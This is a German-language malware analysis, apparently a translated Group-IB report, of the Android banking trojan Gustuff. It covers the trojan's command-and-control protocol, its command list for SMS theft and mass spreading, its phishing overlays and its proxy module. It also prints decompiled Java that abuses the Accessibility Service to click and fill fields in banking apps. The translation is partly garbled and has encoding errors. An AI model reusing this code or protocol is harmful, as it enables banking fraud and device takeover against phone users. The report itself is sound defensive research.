
Vor kurzem berichtete Group-IB Dieser Trojaner operiert ausschlieĂlich auf internationalen MĂ€rkten und greift Kunden von 100 der gröĂten auslĂ€ndischen Banken, Nutzer von 32 mobilen Krypto-Wallets sowie groĂe E-Commerce-Plattformen an. Der Entwickler von Gustuff ist ein russischsprachiger Cyberkrimineller mit dem Spitznamen Bestoffer. Noch vor kurzer Zeit lobte er seinen Trojaner als "ein ernstzunehmendes Produkt fĂŒr Menschen mit Wissen und Erfahrung".
Der Malware-Analytiker bei Group-IB Ivan Pisarev erlĂ€utert in seiner Untersuchung ausfĂŒhrlich, wie Gustuff funktioniert und welche Gefahren von ihm ausgehen.
Wer ist das Ziel von Gustuff?
Gustuff gehört zur neuen Generation von Malware mit vollstĂ€ndig automatisierten Funktionen. Laut dem Entwickler stellt der Trojaner eine verbesserte Version der Malware AndyBot dar, die seit November 2017 Smartphones mit Android angreift und Geld ĂŒber Phishing-Webformulare stiehlt, die sich als mobile Anwendungen bekannter internationaler Banken und Zahlungsdienstleister tarnen. Bestoffer gab an, dass die Mietpreise fĂŒr den "Gustuff Bot" 800 $ pro Monat betrugen.
Die Analyse des Gustuff-Samples hat gezeigt, dass die potenzielle Trojaner-Zielgruppe Kunden sind, die mobile Anwendungen der gröĂten Banken wie Bank of America, Bank of Scotland, J.P. Morgan, Wells Fargo, Capital One, TD Bank und PNC Bank nutzen, sowie auf Krypto-Wallets wie Bitcoin Wallet, BitPay, Cryptopay, Coinbase und weitere.
UrsprĂŒnglich als klassischer Bank-Trojaner entwickelt, hat Gustuff in der aktuellen Version die Liste der potenziellen Angriffsziele erheblich erweitert. Neben Android-Anwendungen von Banken, Fintech-Unternehmen und Krypto-Diensten zielt Gustuff auf Nutzer von Anwendungen von MarktplĂ€tzen, Online-Shops, Zahlungssystemen und Messengern ab. Insbesondere PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut und weitere.
Einstiegspunkt: Die Absicht, massenhafte Infektionen zu erzielen.
Gustuff zeichnet sich durch einen âklassischenâ Angriffswinkel auf Android-Smartphones ĂŒber SMS-Nachrichten mit Links zu APKs aus. Bei der Infektion eines Android-GerĂ€ts kann der Trojaner auf Befehl des Servers eine weitere Verbreitung von Gustuff in den Kontaktverzeichnissen des infizierten Telefons oder in der Datenbank des Servers auslösen. Die FunktionalitĂ€ten von Gustuff sind auf eine massenhafte Infektion und maximale Kapitalisierung der GeschĂ€fte seiner Betreiber ausgelegt â es gibt eine einzigartige Funktion zum âAuto-Uploadâ in legale mobile Banking-Apps und Krypto-Wallets, die den Diebstahl von Geld beschleunigt und skaliert.
Die Untersuchung des Trojaners ergab, dass die Auto-Upload-Funktion mithilfe des Accessibility Service implementiert wurde â einem Dienst fĂŒr Menschen mit Behinderungen. Gustuff ist nicht der erste Trojaner, der erfolgreich den Schutz vor Interaktionen mit Elementen anderer Anwendungen ĂŒber diesen Android-Dienst umgeht. Die Verwendung des Accessibility Service in Kombination mit Auto-Upload bleibt jedoch nach wie vor ein relativ seltenes PhĂ€nomen.
Nachdem Gustuff auf das Telefon des Opfers heruntergeladen wurde, kann es mithilfe des Accessibility Service mit den Elementen der Fenstern anderer Anwendungen (Banken, KryptowĂ€hrungen, Online-Shopping, Messaging usw.) interagieren und die fĂŒr die Angreifer erforderlichen Aktionen ausfĂŒhren. Zum Beispiel kann der Trojaner auf Befehl des Servers Knöpfe drĂŒcken und Werte in Textfeldern von Bankanwendungen Ă€ndern. Die Nutzung des Accessibility Service ermöglicht es dem Trojaner, die Schutzmechanismen zu umgehen, die Banken zur BekĂ€mpfung von Ă€lteren mobilen Trojanern eingerichtet haben, sowie Ănderungen in den Sicherheitsrichtlinien, die Google in neuen Versionen des Android-Betriebssystems implementiert hat. So kann Gustuff zum Beispiel Google Protect deaktivieren: Laut dem Entwickler funktioniert diese Funktion in 70% der FĂ€lle.

Gustuff kann gefĂ€lschte PUSH-Benachrichtigungen mit Icons legitimer mobiler Anwendungen anzeigen. Der Benutzer klickt auf die PUSH-Benachrichtigung und sieht ein vom Server geladenes Phishing-Fenster, in das er seine Bankkarten- oder Krypto-Wallet-Daten eingibt. In einem anderen Szenario wird die App geöffnet, von der die PUSH-Benachrichtigung angezeigt wurde. In diesem Fall kann die Malware auf Befehl des Servers ĂŒber den Accessibility Service die Formularfelder der Bankanwendung fĂŒr eine betrĂŒgerische Transaktion ausfĂŒllen.
Zu den Funktionen von Gustuff gehört auch das Senden von Informationen ĂŒber das infizierte GerĂ€t an den Server, die Möglichkeit, SMS-Nachrichten zu lesen/zu senden, das Senden von USSD-Anfragen, das Starten eines SOCKS5-Proxys, das Klicken auf Links, das Senden von Dateien (einschlieĂlich Fotokopien von Dokumenten, Screenshots, Fotos) an den Server sowie das ZurĂŒcksetzen des GerĂ€ts auf die Werkseinstellungen.
Analyse der Malware
Vor der Installation der schÀdlichen Anwendung zeigt das Android-Betriebssystem dem Benutzer ein Fenster mit einer Liste der von Gustuff angeforderten Berechtigungen an:

Die Installation der Anwendung erfolgt erst nach Zustimmung des Nutzers. Nach dem Start zeigt die Anwendung dem Nutzer ein Fenster an:

AnschlieĂend entfernt sie ihr Symbol.
Laut dem Autor wird Gustuff von einem FTT-Packer verpackt. Nach dem Start kontaktiert die Anwendung regelmĂ€Ăig den CnC-Server, um Befehle zu erhalten. In mehreren von uns untersuchten Dateien wurde die IP-Adresse als Steuerungsserver verwendet 88.99.171[.]105 (im Folgenden bezeichnen wir dies als <%CnC%>).
Nach dem Start beginnt das Programm, Nachrichten an den Server zu senden http:///api/v1/get.php.
Als Antwort wird JSON im folgenden Format erwartet:
{
"results" : "OK",
"command":{
"id": "",
"command":"",
"timestamp":"",
"params":{
},
},
}Bei jedem Zugriff sendet die Anwendung Informationen ĂŒber das infizierte GerĂ€t. Das Format der Nachricht ist unten dargestellt. Es ist zu beachten, dass die Felder full, extra, Apps und permission â optional sind und nur im Falle eines Anforderungsbefehls vom CnC gesendet werden.
{
"info":
{
"info":
{
"cell":<%Sim operator name%>,
"country":<%Country ISO%>,
"imei":<%IMEI%>,
"number":<%Phone number%>,
"line1Number":<%Phone number%>,
"advertisementId":<%ID%>
},
"state":
{
"admin":<%Has admin rights%>,
"source":<%String%>,
"needPermissions":<%Application needs permissions%>,
"accesByName":<%Boolean%>,
"accesByService":<%Boolean%>,
"safetyNet":<%String%>,
"defaultSmsApp":<%Default Sms Application%>,
"isDefaultSmsApp":<%Current application is Default Sms Application%>,
"dateTime":<%Current date time%>,
"batteryLevel":<%Battery level%>
},
"socks":
{
"id":<%Proxy module ID%>,
"enabled":<%Is enabled%>,
"active":<%Is active%>
},
"version":
{
"versionName":<%Package Version Name%>,
"versionCode":<%Package Version Code%>,
"lastUpdateTime":<%Package Last Update Time%>,
"tag":<%Tag, default value: "TAG"%>,
"targetSdkVersion":<%Target Sdk Version%>,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":<%Device Model%>,
"localeCountry":<%Country%>,
"localeLang":<%Locale language%>,
"accounts":<%JSON array, contains from "name" and "type" of accounts%>,
"lockType":<%Type of lockscreen password%>
},
"extra":
{
"serial":<%Build serial number%>,
"board":<%Build Board%>,
"brand":<%Build Brand%>,
"user":<%Build User%>,
"device":<%Build Device%>,
"display":<%Build Display%>,
"id":<%Build ID%>,
"manufacturer":<%Build manufacturer%>,
"model":<%Build model%>,
"product":<%Build product%>,
"tags":<%Build tags%>,
"type":<%Build type%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"line1number":<%phonenumber%>,
"iccid":<%Sim serial number%>,
"mcc":<%Mobile country code of operator%>,
"mnc":<%Mobile network codeof operator%>,
"cellid":<%GSM-data%>,
"lac":<%GSM-data%>,
"androidid":<%Android Id%>,
"ssid":<%Wi-Fi SSID%>
},
"apps":{<%List of installed applications%>},
"permission":<%List of granted permissions%>
} Speicherung von Konfigurationsdaten
Gustuff speichert wichtige Informationen in einer Preference-Datei. Der Dateiname sowie die Parameternamen sind das Ergebnis der Berechnung des MD5-Hashes der Zeichenfolge 15413090667214.6.1, wobei <%name%> â ursprĂŒnglicher Name-Wert. Python-Interpretation der Funktion zur Generierung des Namens:
nameGenerator(input):
output = md5("15413090667214.6.1" + input) Im Folgenden bezeichnen wir als nameGenerator(input).
Somit ist der Name der ersten Datei: nameGenerator(«API_SERVER_LIST»), sie enthÀlt Werte mit den folgenden Namen:
| Variablenname | Bedeutung |
|---|---|
| nameGenerator(«API_SERVER_LIST») | EnthÀlt eine Liste der CnC-Adressen in Form eines Arrays. |
| nameGenerator(«API_SERVER_URL») | EnthÀlt die CnC-Adresse. |
| nameGenerator(«SMS_UPLOAD») | Standardflag ist gesetzt. Wenn das Flag gesetzt ist, werden SMS-Nachrichten an CnC gesendet. |
| nameGenerator(«SMS_ROOT_NUMBER») | Die Telefonnummer, an die die vom infizierten GerĂ€t empfangenen SMS-Nachrichten gesendet werden. StandardmĂ€Ăig null. |
| nameGenerator(«SMS_ROOT_NUMBER_RESEND») | Das Standardflag ist zurĂŒckgesetzt. Wenn es gesetzt ist, wird die vom infizierten GerĂ€t empfangene SMS an die Root-Nummer gesendet. |
| nameGenerator(«DEFAULT_APP_SMS») | Das Standardflag ist zurĂŒckgesetzt. Wenn dieses Flag gesetzt ist, verarbeitet die Anwendung eingehende SMS-Nachrichten. |
| nameGenerator(«DEFAULT_ADMIN») | Der Standard-Flag wurde zurĂŒckgesetzt. Wenn das Flag gesetzt ist, hat die Anwendung Administratorrechte. |
| nameGenerator(«DEFAULT_ACCESSIBILITY») | Der Standard-Flag wurde zurĂŒckgesetzt. Wenn das Flag gesetzt ist, wird der Dienst verwendet, der den Accessibility Service nutzt. |
| nameGenerator(«APPS_CONFIG») | JSON-Objekt, das eine Liste von Aktionen enthĂ€lt, die bei einem Accessibility-Ereignis eines bestimmten Anwendungsprogramms durchgefĂŒhrt werden mĂŒssen. |
| nameGenerator(«APPS_INSTALLED») | EnthÀlt die Liste der auf dem GerÀt installierten Anwendungen. |
| nameGenerator(«IS_FIST_RUN») | Das Flag wird beim ersten Start zurĂŒckgesetzt. |
| nameGenerator(«UNIQUE_ID») | EnthÀlt eine eindeutige Kennung. Sie wird beim ersten Start des Bots generiert. |
Modul zur Verarbeitung von Befehlen vom Server
Die Anwendung speichert die Adressen der CnC-Server als ein Array von codierten Strings gemÀà Base85 Die Liste der CnC-Server kann bei Erhalt des entsprechenden Befehls geÀndert werden, wobei die Adressen dann in der Preference-Datei gespeichert werden. Server Als Antwort auf Anfragen sendet der Server einen Befehl an die Anwendung. Es ist zu beachten, dass Befehle und Parameter im JSON-Format dargestellt werden. Die Anwendung kann die folgenden Befehle verarbeiten:
forwardStart
| Der Befehl | Beschreibung |
|---|---|
| Beginnen Sie mit der Weiterleitung der vom infizierten GerÀt empfangenen SMS-Nachrichten an den CnC-Server. | Starten Sie den Versand von SMS-Nachrichten, die von infizierten GerÀten empfangen werden, an den CnC-Server. |
| forwardStop | Stoppen Sie die Ăbermittlung von SMS-Nachrichten, die von infizierten GerĂ€ten an den CnC-Server gesendet werden. |
| ussdRun | FĂŒhren Sie eine USSD-Anfrage aus. Die Nummer, an die die USSD-Anfrage gesendet werden soll, befindet sich im JSON-Feld ânumberâ. |
| sendSms | Senden Sie eine SMS-Nachricht (bei Bedarf wird die Nachricht in Teile unterteilt). Der Befehl akzeptiert ein JSON-Objekt mit den Feldern âtoâ â Zielnummer und âbodyâ â Nachrichtentext. |
| sendSmsAb | Senden Sie SMS-Nachrichten (bei Bedarf wird die Nachricht in Teile unterteilt) an alle in der Kontaktliste des infizierten GerĂ€ts. Der Abstand zwischen den gesendeten Nachrichten betrĂ€gt 10 Sekunden. Der Nachrichteninhalt befindet sich im JSON-Feld âbodyâ. |
| sendSmsMass | Senden Sie SMS-Nachrichten (bei Bedarf wird die Nachricht in Teile unterteilt) an die in den Befehlsparametern angegebenen Kontakte. Der Abstand zwischen den gesendeten Nachrichten betrĂ€gt 10 Sekunden. Der Befehl akzeptiert ein JSON-Array (Feld âsmsâ), dessen Elemente die Felder âtoâ â Zielnummer und âbodyâ â Nachrichtentext enthalten. |
| changeServer | Dieser Befehl kann einen Parameter mit dem SchlĂŒssel âurlâ annehmen â der Bot Ă€ndert dann den Wert von nameGenerator(âSERVER_URLâ), oder âarrayâ â der Bot speichert dann ein Array in nameGenerator(âAPI_SERVER_LISTâ). Auf diese Weise Ă€ndert die Anwendung die Adresse der CnC-Server. |
| adminNummer | Der Befehl ist fĂŒr die Arbeit mit der Root-Nummer gedacht. Er akzeptiert ein JSON-Objekt mit den folgenden Parametern: ânumberâ â Ă€ndert nameGenerator(âROOT_NUMBERâ) auf den erhaltenen Wert, âresendâ â Ă€ndert nameGenerator(âSMS_ROOT_NUMBER_RESENDâ), âsendIdâ â sendet an nameGenerator(âROOT_NUMBERâ) uniqueID. |
| updateInfo | Informationen ĂŒber das infizierte GerĂ€t an den Server senden. |
| wipeData | Der Befehl ist zum Löschen von Benutzerdaten gedacht. Je nachdem, unter welchem Namen die Anwendung gestartet wurde, erfolgt entweder eine vollstÀndige Löschung der Daten mit einem Neustart des GerÀts (primary user) oder nur das Löschen des Benutzerdaten (secondary user). |
| socksStart | Proxy-Modul starten. Die Funktionsweise des Moduls ist in einem separaten Abschnitt beschrieben. |
| socksStop | Den Betrieb des Proxy-Moduls stoppen. |
| openLink | Zu dem Link gehen. Der Link befindet sich im JSON-Parameter mit dem SchlĂŒssel âurlâ. Zum Ăffnen des Links wird âandroid.intent.action.VIEWâ verwendet. |
| alleSmsHochladen | Senden Sie alle SMS-Nachrichten, die vom GerÀt empfangen wurden, an den Server. |
| uploadAllPhotos | Senden Sie die URL eines Bildes von dem infizierten GerĂ€t. Die URL wird als Parameter ĂŒbermittelt. |
| uploadFile | Senden Sie die URL einer Datei von dem infizierten GerĂ€t. Die URL wird als Parameter ĂŒbermittelt. |
| uploadPhoneNumbers | Senden Sie die Telefonnummern aus der Kontaktliste an den Server. Wenn ein JSON-Objekt mit dem SchlĂŒssel «ab» als Parameter ĂŒbergeben wird, erhĂ€lt die Anwendung die Kontaktliste aus dem Adressbuch. Wenn ein JSON-Objekt mit dem SchlĂŒssel «sms» ĂŒbergeben wird, liest die Anwendung die Kontaktliste von den Absendern der SMS-Nachrichten. |
| changeArchive | Die Anwendung lĂ€dt eine Datei von der Adresse, die als Parameter mit dem SchlĂŒssel «url» ĂŒbermittelt wird. Die heruntergeladene Datei wird unter dem Namen «archive.zip» gespeichert. Danach entpackt die Anwendung die Datei und verwendet dazu gegebenenfalls das Passwort «b5jXh37gxgHBrZhQ4j3D». Die entpackten Dateien werden im Verzeichnis [external storage]/hgps gespeichert. In diesem Verzeichnis speichert die Anwendung Web-Fakes (wie nachfolgend beschrieben). |
| Aktionen | Der Befehl ist fĂŒr die Arbeit mit dem Action Service vorgesehen, der in einem separaten Abschnitt beschrieben ist. |
| test | Tut nichts. |
| download | Der Befehl dient zum Herunterladen einer Datei von einem entfernten Server und zum Speichern in das Verzeichnis âDownloadsâ. URL und Dateiname werden als Parameter ĂŒbergeben, im JSON-Objekt entsprechend den Feldern: âurlâ und âfileNameâ. |
| remove | Löscht eine Datei aus dem Verzeichnis âDownloadsâ. Der Dateiname wird im JSON-Parameter mit dem SchlĂŒssel âfileNameâ ĂŒbergeben. Der Standard-Dateiname ist âtmp.apkâ. |
| notification | Zeigt eine Benachrichtigung mit Beschreibungstext und Titel an, die vom Steuerung-Server festgelegt werden. |
Format des Befehls notification:
{
"results" : "OK",
"command":{
"id": <%id%>,
"command":"notification",
"timestamp":<%Server Timestamp%>,
"params":{
"openApp":<%Open original app or not%>,
"array":[
{"title":<%Title text%>,
"desc":<%Description text%>,
"app":<%Application name%>}
]
},
},
}Die Benachrichtigung, die durch die untersuchte Datei erstellt wird, sieht identisch aus mit den Benachrichtigungen, die von der in dem Feld angegebenen Anwendung erstellt werden. app. Wenn der Wert des Feldes openApp â True, wird beim Ăffnen der Benachrichtigung die angegebene Anwendung im Feld gestartet. app. Wenn der Wert des Feldes openApp â False, dann:
- öffnet sich ein Phishing-Fenster, dessen Inhalt aus dem Verzeichnis /hgps/
- öffnet sich ein Phishing-Fenster, dessen Inhalt vom Server geladen wird. ?id=&app=
- Es öffnet sich ein Phishing-Fenster, das sich als Google Play Card tarnt, mit der Möglichkeit, Kartendaten einzugeben.
Das Ergebnis der AusfĂŒhrung eines beliebigen Befehls wird von der Anwendung an set_state.php in Form eines JSON-Objekts des folgenden Formats gesendet:
{
"command":
{
"command":,
"id":,
"state":
}
"id":
} ActionsService
Die Liste der Befehle, die die Anwendung verarbeitet, umfasst Aktion. Bei Erhalt eines Befehls ruft das Befehlsverarbeitungsmodul diesen Dienst auf, um den erweiterten Befehl auszufĂŒhren. Der Dienst erwartet ein JSON-Objekt als Parameter. Der Dienst kann folgende Befehle ausfĂŒhren:
1. PARAMS_ACTION â Bei Erhalt eines solchen Befehls erhĂ€lt der Dienst zunĂ€chst den Wert des SchlĂŒssels Type aus dem JSON-Parameter, der Folgendes sein kann:
- serviceInfo â Der Unterbefehl erhĂ€lt den Wert des SchlĂŒssels aus dem JSON-Parameter includeNotImportant. Wenn das Flag wahr ist, setzt die Anwendung das Flag FLAG_ISOLATED_PROCESS auf den Dienst, der den Accessibility Service verwendet. Dadurch wird der Dienst in einem separaten Prozess gestartet.
- root â Informationen ĂŒber das Fenster, das derzeit im Fokus ist, an den Server senden und von diesem empfangen. Die Anwendung erhĂ€lt die Informationen ĂŒber die Klasse AccessibilityNodeInfo.
- admin â Administratorrechte anfordern.
- verzögern â den Betrieb des ActionsService fĂŒr die in dem Parameter mit dem SchlĂŒssel âdataâ angegebenen Millisekunden pausieren.
- Windows â eine Liste der fĂŒr den Benutzer sichtbaren Fenster senden.
- installieren â die Anwendung auf ein infiziertes GerĂ€t installieren. Der Paketname des Archivs befindet sich im SchlĂŒssel âfileNameâ. Das Archiv selbst befindet sich im Verzeichnis Downloads.
- global â Unterbefehl, der fĂŒr den Wechsel vom aktuellen Fenster gedacht ist:
- zum MenĂŒ Schnelleinstellungen
- zurĂŒck
- nach Hause
- zu den Benachrichtigungen
- zum Fenster der zuletzt geöffneten Anwendungen
- starten â die Anwendung starten. Der Name der Anwendung wird als Parameter unter dem SchlĂŒssel ĂŒbergeben. data.
- gerĂ€usche â den Soundmodus auf lautlos Ă€ndern.
- entsperren â aktiviert die Beleuchtung des Bildschirms und der Tastatur auf voller Helligkeit. Die Anwendung fĂŒhrt diese Aktion mittels WakeLock aus und gibt den Tag [Application lable]:INFO an.
- berechtigungsoverlay â Funktion nicht implementiert (Antwort auf die AusfĂŒhrung des Befehls â {âmessageâ:âNicht unterstĂŒtztâ} oder {âmessageâ:âniedriger sdkâ})
- geste â Funktion ist nicht implementiert (Antwort auf den Befehl - {«message»:«Nicht unterstĂŒtzt»} oder {«message»:«Niedrige API»})
- Berechtigungen â Dieser Befehl ist erforderlich, um Berechtigungen fĂŒr die Anwendung anzufordern. Da die Funktion zur Anforderung jedoch nicht implementiert ist, macht der Befehl keinen Sinn. Die angeforderten Berechtigungen werden als JSON-Array mit dem SchlĂŒssel âpermissionsâ ĂŒbermittelt. Standardliste:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- öffnen â ein Phishing-Fenster anzeigen. Je nach Parameter vom Server kann die Anwendung folgende Phishing-Fenster anzeigen:
- Phishing-Fenster anzeigen, dessen Inhalt in einer Datei im Verzeichnis gespeichert ist /hgps/. Das Ergebnis der Interaktion des Benutzers mit dem Fenster wird an die Adresse gesendet /records.php
- Phishing-Fenster anzeigen, dessen Inhalt zuvor von folgender Adresse geladen wird ?id=&app=. Das Ergebnis der Interaktion des Benutzers mit dem Fenster wird an die Adresse gesendet /records.php
- Phishing-Fenster anzeigen, das als Google Play Card getarnt ist.
- interaktiv â Das Team ermöglicht die Interaktion mit Fensterelementen anderer Anwendungen durch den AccessibilityService. FĂŒr die Interaktion wurde ein spezieller Dienst implementiert. Die untersuchte Anwendung kann mit Fenstern interagieren:
- Aktiv zum aktuellen Zeitpunkt. In diesem Fall enthÀlt der Parameter die ID oder den Text (Bezeichnung) des Objekts, mit dem interagiert werden soll.
- FĂŒr den Benutzer sichtbare Fenster zum Zeitpunkt der AusfĂŒhrung des Befehls. Die Anwendung wĂ€hlt Fenster anhand der ID aus.
Nachdem die Objekte AccessibilityNodeInfo fĂŒr die relevanten Fensterelemente erhalten wurden, kann die Anwendung je nach Parametern folgende Aktionen ausfĂŒhren:
- focus â den Fokus auf das Objekt setzen.
- click â auf das Objekt klicken.
- actionId â eine Aktion anhand ID ausfĂŒhren.
- setText â den Text des Objekts Ă€ndern. Die Ănderung des Texts ist auf zwei Arten möglich: durch AusfĂŒhrung der Aktion ACTION_SET_TEXT wenn die Version des infizierten Android-GerĂ€ts kleiner oder gleich LOLLIPOPist, oder indem ein Text in die Zwischenablage kopiert und in das Objekt eingefĂŒgt wird (fĂŒr neuere Versionen). Dieser Befehl kann verwendet werden, um Daten in einer Bankanwendung zu Ă€ndern.
2. PARAMS_ACTIONS â das Gleiche wie PARAMS_ACTION, nur als JSON-Array von Befehlen.
Es könnte viele interessieren, wie die Interaktion mit Elementen in einem anderen Anwendungsfenster aussieht. So wurde diese Funktion in Gustuff umgesetzt:
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}Text ersetzende Funktion:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}Wenn der Management-Server korrekt konfiguriert ist, kann Gustuff Textfelder in der Banking-App ausfĂŒllen und die erforderlichen SchaltflĂ€chen fĂŒr Transaktionen drĂŒcken. Der Trojaner benötigt nicht einmal eine Authentifizierung in der App â es genĂŒgt, einen Befehl zur Anzeige einer PUSH-Benachrichtigung zu senden, gefolgt von dem Ăffnen der zuvor installierten Banking-App. Der Benutzer authentifiziert sich selbst, wonach Gustuff den Autorefill durchfĂŒhren kann.
SMS-Nachrichtenverarbeitungsmodul
Die Anwendung setzt einen Ereignishandler fĂŒr den Empfang von SMS-Nachrichten durch ein infiziertes GerĂ€t. Die untersuchte Anwendung kann Befehle vom Operator empfangen, die im Text der SMS-Nachricht enthalten sind. Die Befehle kommen im Format:
7!5=<%Base64 encoded command%>
Die Anwendung sucht in allen empfangenen SMS-Nachrichten nach der Zeichenfolge 7!5=, beim Auffinden der Zeichenfolge dekodiert sie den Base64-String ab Verschiebung 4 und fĂŒhrt den Befehl aus. Die Befehle sind Ă€hnlich den CnC-Befehlen. Das Ergebnis der AusfĂŒhrung wird an die gleiche Nummer gesendet, von der der Befehl kam. Das Antwortformat lautet:
7*5=<%Base64 encode of «result_code command»%>
Optional kann die Anwendung alle empfangenen Nachrichten an die Root-Nummer senden. Dazu muss im PrÀferenzdatei die Root-Nummer angegeben und das Nachrichtenweiterleitungsflag gesetzt werden. Die SMS-Nachricht wird an die Nummer des Angreifers im Format gesendet:
â
ZusÀtzlich kann die Anwendung optional Nachrichten an das CnC senden. Die SMS-Nachricht wird im JSON-Format an den Server gesendet:
{
"id":,
"sms":
{
"text":,
"number":,
"date":
}
}Wenn das Flag gesetzt ist nameGenerator(«DEFAULT_APP_SMS») â Die Anwendung stoppt die Verarbeitung von SMS-Nachrichten und leert die Liste der empfangenen Nachrichten.
Proxy-Modul
In der untersuchten Anwendung gibt es ein Backconnect Proxy-Modul (im Folgenden Proxy-Modul), das eine separate Klasse mit statischen Feldern zur Konfiguration umfasst. Die Konfigurationsdaten werden im Sample im offenen Format gespeichert:

Alle Aktionen, die vom Proxy-Modul durchgefĂŒhrt werden, werden in Dateien protokolliert. Zu diesem Zweck erstellt die Anwendung im External Storage ein Verzeichnis mit dem Namen âlogsâ (Feld ProxyConfigClass.logsDir in der Konfigurationsklasse), in dem die Protokolldateien gespeichert werden. Die Protokollierung erfolgt in Dateien mit den Namen:
- main.txt â In diese Datei wird die Arbeit der Klasse CommandServer protokolliert. Die Protokollierung der Zeichenfolge str in diese Datei bezeichnen wir kĂŒnftig als mainLog(str).
- session-<%id%>.txt â In diese Datei werden die Protokolldaten zu einer bestimmten Proxy-Sitzung gespeichert. Die Protokollierung der Zeichenfolge str in diese Datei bezeichnen wir kĂŒnftig als sessionLog(str).
- server.txt â In diese Datei werden alle Daten protokolliert, die in die oben beschriebenen Dateien geschrieben werden.
Format der Protokolldaten:
<%Date%> [Thread[<%thread id%>], id[]]: log-string
Die wÀhrend des Betriebs des Proxy-Moduls auftretenden Ausnahmen werden ebenfalls in eine Datei protokolliert. Zu diesem Zweck erstellt die Anwendung ein JSON-Objekt im folgenden Format:
{
"uncaughtException":<%short description of throwable%>
"thread":<%thread%>
"message":<%detail message of throwable%>
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}AnschlieĂend wird es in eine Zeichenfolgendarstellung umgewandelt und protokolliert.
Der Start des Proxy-Moduls erfolgt nach Empfang des entsprechenden Befehls. Bei Erhalt des Startbefehls fĂŒr das Proxy-Modul startet die Anwendung den Dienst mit dem Namen MainService, der fĂŒr die Verwaltung des Betriebs des Proxy-Moduls â dessen Start und Stopp â verantwortlich ist.
Die Phasen des Dienststarts:
1. Ein Timer wird gestartet, der einmal pro Minute ausgelöst wird und die AktivitĂ€t des Proxy-Moduls ĂŒberprĂŒft. Wenn das Modul inaktiv ist, wird es gestartet.
Beim Auslösen des Ereignisses android.net.conn.CONNECTIVITY_CHANGE wird das Proxy-Modul gestartet.
2. Die Anwendung erstellt ein Wake-Lock mit dem Parameter PARTIAL_WAKE_LOCK und erwirbt es. So wird verhindert, dass die CPU des GerÀts in den Schlafmodus wechselt.
3. Startet die Klasse fĂŒr die Befehlsverarbeitung des Proxy-Moduls, nachdem die Zeile protokolliert wurde. mainLog("Server starten") und
Server::start() host[], commandPort[], proxyPort[]
wobei proxy_cnc, command_port und proxy_port â Parameter, die aus der Konfiguration des Proxy-Servers erhalten wurden.
Die Klasse fĂŒr die Befehlsverarbeitung trĂ€gt den Namen CommandConnection. Unmittelbar nach dem Start fĂŒhrt sie die folgenden Aktionen aus:
4. Stellt eine Verbindung zu ProxyConfigClass.host: ProxyConfigClass.commandPort her und sendet die Daten ĂŒber das infizierte GerĂ€t im JSON-Format:
{
"id":,
"imei":,
"imsi":,
"model":,
"manufacturer":,
"androidVersion":,
"country":,
"partnerId":,
"packageName":,
"networkType":,
"hasGsmSupport":,
"simReady":,
"simCountry":,
"networkOperator":,
"simOperator":,
"version":
}Wobei:
- id â Identifikator, versucht den Wert mit dem Feld âidâ aus der Shared Preference-Datei mit dem Namen âxâ zu erhalten. Wenn dieser Wert nicht abgerufen werden kann, wird ein neuer generiert. Auf diese Weise hat das Proxy-Modul seine eigene Identifikation, die Ă€hnlich wie die Bot-ID erzeugt wird.
- imei â IMEI des GerĂ€ts. Wenn wĂ€hrend der Abfrage des Wertes ein Fehler aufgetreten ist, wird an dieser Stelle eine Fehlermeldung angezeigt.
- imsi â Internationale mobile TeilnehmeridentitĂ€t des GerĂ€ts. Wenn wĂ€hrend der Abfrage des Wertes ein Fehler aufgetreten ist, wird an dieser Stelle eine Fehlermeldung angezeigt.
- model â Der fĂŒr den Endbenutzer sichtbare Name des Endprodukts.
- manufacturer â Der Hersteller des Produkts/Hardware (Build.MANUFACTURER).
- androidVersion â Zeichenfolge im Format « (), »
- country â Aktueller Standort des GerĂ€ts.
- partnerId â leere Zeichenfolge.
- packageName â Paketname.
- networkType â Typ der aktuellen Netzwerkverbindung (Beispiel: «WIFI», «MOBILE»). Im Falle eines Fehlers wird null zurĂŒckgegeben.
- hasGsmSupport â true â wenn das Telefon GSM unterstĂŒtzt, andernfalls false.
- simReady â Zustand der SIM-Karte.
- simCountry â ISO-Code des Landes (basierend auf dem SIM-Kartenanbieter).
- networkOperator â Name des Betreibers. Wenn wĂ€hrend der Abfrage des Wertes ein Fehler aufgetreten ist, wird an dieser Stelle eine Fehlermeldung angezeigt.
